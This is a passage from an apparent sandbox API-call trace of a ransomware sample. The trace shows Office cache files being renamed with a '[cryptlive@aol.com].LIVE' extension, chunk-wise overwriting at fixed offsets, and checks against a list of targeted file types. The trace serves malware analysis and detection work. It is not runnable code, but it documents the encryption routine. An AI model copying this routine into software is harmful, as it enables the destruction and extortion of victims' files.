Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0037.718] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fc6c | out: lpNewFilePointer=0x0) returned 1 [0037.718] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fc2c | out: lpNewFilePointer=0x0) returned 1 [0037.718] ReadFile (in: hFile=0x15c, lpBuffer=0x34e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b8fc38, lpOverlapped=0x0 | out: lpBuffer=0x34e0058*, lpNumberOfBytesRead=0x2b8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0037.727] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fc2c | out: lpNewFilePointer=0x0) returned 1 [0037.727] ReadFile (in: hFile=0x15c, lpBuffer=0x3520058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3520058*, lpNumberOfBytesRead=0x2b8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0037.740] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b8fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0037.740] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fc2c | out: lpNewFilePointer=0x0) returned 1 [0037.740] ReadFile (in: hFile=0x15c, lpBuffer=0x3560058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3560058*, lpNumberOfBytesRead=0x2b8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0037.998] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.998] WriteFile (in: hFile=0x15c, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2b8fcb0, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2b8fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0038.222] SetEndOfFile (hFile=0x15c) returned 1 [0038.222] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40000) returned 0x3f520a0 [0038.226] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fc7c | out: lpNewFilePointer=0x0) returned 1 [0038.226] WriteFile (in: hFile=0x15c, lpBuffer=0x3f520a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f520a0*, lpNumberOfBytesWritten=0x2b8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0038.228] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fc7c | out: lpNewFilePointer=0x0) returned 1 [0038.228] WriteFile (in: hFile=0x15c, lpBuffer=0x3f520a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f520a0*, lpNumberOfBytesWritten=0x2b8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0038.234] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fc7c | out: lpNewFilePointer=0x0) returned 1 [0038.234] WriteFile (in: hFile=0x15c, lpBuffer=0x3f520a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f520a0*, lpNumberOfBytesWritten=0x2b8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0038.237] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3f520a0 | out: hHeap=0x520000) returned 1 [0038.237] CloseHandle (hObject=0x15c) returned 1 [0040.678] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0040.678] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0040.678] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0040.678] lstrlenW (lpString=".doc") returned 4 [0040.678] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0040.678] lstrlenW (lpString=".docx") returned 5 [0040.678] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0040.678] lstrlenW (lpString=".pdf") returned 4 [0040.678] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0040.678] lstrlenW (lpString=".xls") returned 4 [0040.678] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0040.678] lstrlenW (lpString=".xlsx") returned 5 [0040.678] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0040.678] lstrlenW (lpString=".ppt") returned 4 [0040.678] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0040.678] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0040.678] lstrlenW (lpString=".zip") returned 4 [0040.679] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0040.679] lstrlenW (lpString=".rar") returned 4 [0040.679] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0040.679] lstrlenW (lpString=".bz2") returned 4 [0040.679] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0040.679] lstrlenW (lpString=".7z") returned 3 [0040.679] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0040.679] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0040.679] lstrlenW (lpString=".dbf") returned 4 [0040.679] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0040.679] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0040.679] lstrlenW (lpString=".1cd") returned 4 [0040.679] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0040.679] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0040.679] lstrlenW (lpString=".jpg") returned 4 [0040.679] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0040.679] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0040.679] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0040.679] lstrlenW (lpString=".doc") returned 4 [0040.679] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0040.679] lstrlenW (lpString=".docx") returned 5 [0040.679] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0040.679] lstrlenW (lpString=".pdf") returned 4 [0040.679] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0040.679] lstrlenW (lpString=".xls") returned 4 [0040.679] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0040.679] lstrlenW (lpString=".xlsx") returned 5 [0040.680] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0040.680] lstrlenW (lpString=".ppt") returned 4 [0040.680] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0040.680] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0040.680] lstrlenW (lpString=".zip") returned 4 [0040.680] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0040.680] lstrlenW (lpString=".rar") returned 4 [0040.680] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0040.680] lstrlenW (lpString=".bz2") returned 4 [0040.680] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0040.680] lstrlenW (lpString=".7z") returned 3 [0040.680] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0040.680] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0040.680] lstrlenW (lpString=".dbf") returned 4 [0040.680] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0040.680] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0040.680] lstrlenW (lpString=".1cd") returned 4 [0040.680] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0040.680] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0040.680] lstrlenW (lpString=".jpg") returned 4 [0040.680] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0040.680] lstrcmpiW (lpString1=".msi", lpString2=".LIVE") returned 1 [0040.680] lstrlenW (lpString="OutlookMUI.msi") returned 14 [0040.680] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0040.681] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=2865664) returned 1 [0040.681] CloseHandle (hObject=0x15c) returned 1 [0040.681] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi")) returned 0x2020 [0040.681] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0040.681] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[cryptlive@aol.com].live")) returned 1 [0040.682] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0040.682] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fc6c | out: lpNewFilePointer=0x0) returned 1 [0040.682] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fc2c | out: lpNewFilePointer=0x0) returned 1 [0040.682] ReadFile (in: hFile=0x15c, lpBuffer=0x34e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b8fc38, lpOverlapped=0x0 | out: lpBuffer=0x34e0058*, lpNumberOfBytesRead=0x2b8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0040.689] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fc2c | out: lpNewFilePointer=0x0) returned 1 [0040.689] ReadFile (in: hFile=0x15c, lpBuffer=0x3520058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3520058*, lpNumberOfBytesRead=0x2b8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0040.699] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b8fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0040.699] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fc2c | out: lpNewFilePointer=0x0) returned 1 [0040.699] ReadFile (in: hFile=0x15c, lpBuffer=0x3560058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3560058*, lpNumberOfBytesRead=0x2b8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0041.126] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.126] WriteFile (in: hFile=0x15c, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2b8fcb0, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2b8fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0041.145] SetEndOfFile (hFile=0x15c) returned 1 [0041.145] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40000) returned 0x3eb0058 [0041.145] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fc7c | out: lpNewFilePointer=0x0) returned 1 [0041.145] WriteFile (in: hFile=0x15c, lpBuffer=0x3eb0058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3eb0058*, lpNumberOfBytesWritten=0x2b8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0041.147] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fc7c | out: lpNewFilePointer=0x0) returned 1 [0041.147] WriteFile (in: hFile=0x15c, lpBuffer=0x3eb0058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3eb0058*, lpNumberOfBytesWritten=0x2b8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0041.152] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fc7c | out: lpNewFilePointer=0x0) returned 1 [0041.152] WriteFile (in: hFile=0x15c, lpBuffer=0x3eb0058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3eb0058*, lpNumberOfBytesWritten=0x2b8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0041.154] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3eb0058 | out: hHeap=0x520000) returned 1 [0041.154] CloseHandle (hObject=0x15c) returned 1 [0041.822] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0041.822] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0041.822] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0041.822] lstrlenW (lpString=".doc") returned 4 [0041.822] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0041.822] lstrlenW (lpString=".docx") returned 5 [0041.822] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0041.822] lstrlenW (lpString=".pdf") returned 4 [0041.823] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0041.823] lstrlenW (lpString=".xls") returned 4 [0041.823] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0041.823] lstrlenW (lpString=".xlsx") returned 5 [0041.823] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0041.823] lstrlenW (lpString=".ppt") returned 4 [0041.823] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0041.823] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0041.823] lstrlenW (lpString=".zip") returned 4 [0041.823] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0041.823] lstrlenW (lpString=".rar") returned 4 [0041.823] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0041.823] lstrlenW (lpString=".bz2") returned 4 [0041.823] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0041.823] lstrlenW (lpString=".7z") returned 3 [0041.823] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0041.823] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0041.823] lstrlenW (lpString=".dbf") returned 4 [0041.823] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0041.823] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0041.823] lstrlenW (lpString=".1cd") returned 4 [0041.823] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0041.823] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0041.823] lstrlenW (lpString=".jpg") returned 4 [0041.823] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0041.823] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0041.823] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0041.823] lstrlenW (lpString=".doc") returned 4 [0041.823] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0041.823] lstrlenW (lpString=".docx") returned 5 [0041.823] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0041.823] lstrlenW (lpString=".pdf") returned 4 [0041.823] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0041.824] lstrlenW (lpString=".xls") returned 4 [0041.824] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0041.824] lstrlenW (lpString=".xlsx") returned 5 [0041.824] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0041.824] lstrlenW (lpString=".ppt") returned 4 [0041.824] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0041.824] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0041.824] lstrlenW (lpString=".zip") returned 4 [0041.824] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0041.824] lstrlenW (lpString=".rar") returned 4 [0041.824] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0041.824] lstrlenW (lpString=".bz2") returned 4 [0041.824] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0041.824] lstrlenW (lpString=".7z") returned 3 [0041.824] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0041.824] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0041.824] lstrlenW (lpString=".dbf") returned 4 [0041.824] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0041.824] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0041.824] lstrlenW (lpString=".1cd") returned 4 [0041.824] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0041.824] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0041.824] lstrlenW (lpString=".jpg") returned 4 [0041.824] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0041.824] lstrcmpiW (lpString1=".cab", lpString2=".LIVE") returned -1 [0041.824] lstrlenW (lpString="Proof.cab") returned 9 [0041.824] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0042.025] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=13642474) returned 1 [0042.025] CloseHandle (hObject=0x184) returned 1 [0042.026] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab")) returned 0x2020 [0042.026] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0042.026] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[cryptlive@aol.com].live")) returned 1 [0042.208] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0042.208] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fc6c | out: lpNewFilePointer=0x0) returned 1 [0042.208] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.208] ReadFile (in: hFile=0x184, lpBuffer=0x34e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b8fc38, lpOverlapped=0x0 | out: lpBuffer=0x34e0058*, lpNumberOfBytesRead=0x2b8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.213] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.213] ReadFile (in: hFile=0x184, lpBuffer=0x3520058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3520058*, lpNumberOfBytesRead=0x2b8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.217] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b8fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0042.217] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xcc2aea, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.217] ReadFile (in: hFile=0x184, lpBuffer=0x3560058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3560058*, lpNumberOfBytesRead=0x2b8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.236] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.237] WriteFile (in: hFile=0x184, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x2b8fcb0, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2b8fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0042.408] SetEndOfFile (hFile=0x184) returned 1 [0042.408] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40000) returned 0x3fe70f8 [0042.412] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fc7c | out: lpNewFilePointer=0x0) returned 1 [0042.412] WriteFile (in: hFile=0x184, lpBuffer=0x3fe70f8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fe70f8*, lpNumberOfBytesWritten=0x2b8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.413] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fc7c | out: lpNewFilePointer=0x0) returned 1 [0042.413] WriteFile (in: hFile=0x184, lpBuffer=0x3fe70f8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fe70f8*, lpNumberOfBytesWritten=0x2b8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.414] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xcc2aea, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fc7c | out: lpNewFilePointer=0x0) returned 1 [0042.414] WriteFile (in: hFile=0x184, lpBuffer=0x3fe70f8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fe70f8*, lpNumberOfBytesWritten=0x2b8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.415] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3fe70f8 | out: hHeap=0x520000) returned 1 [0042.415] CloseHandle (hObject=0x184) returned 1 [0045.045] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0045.045] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0045.045] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0045.045] lstrlenW (lpString=".doc") 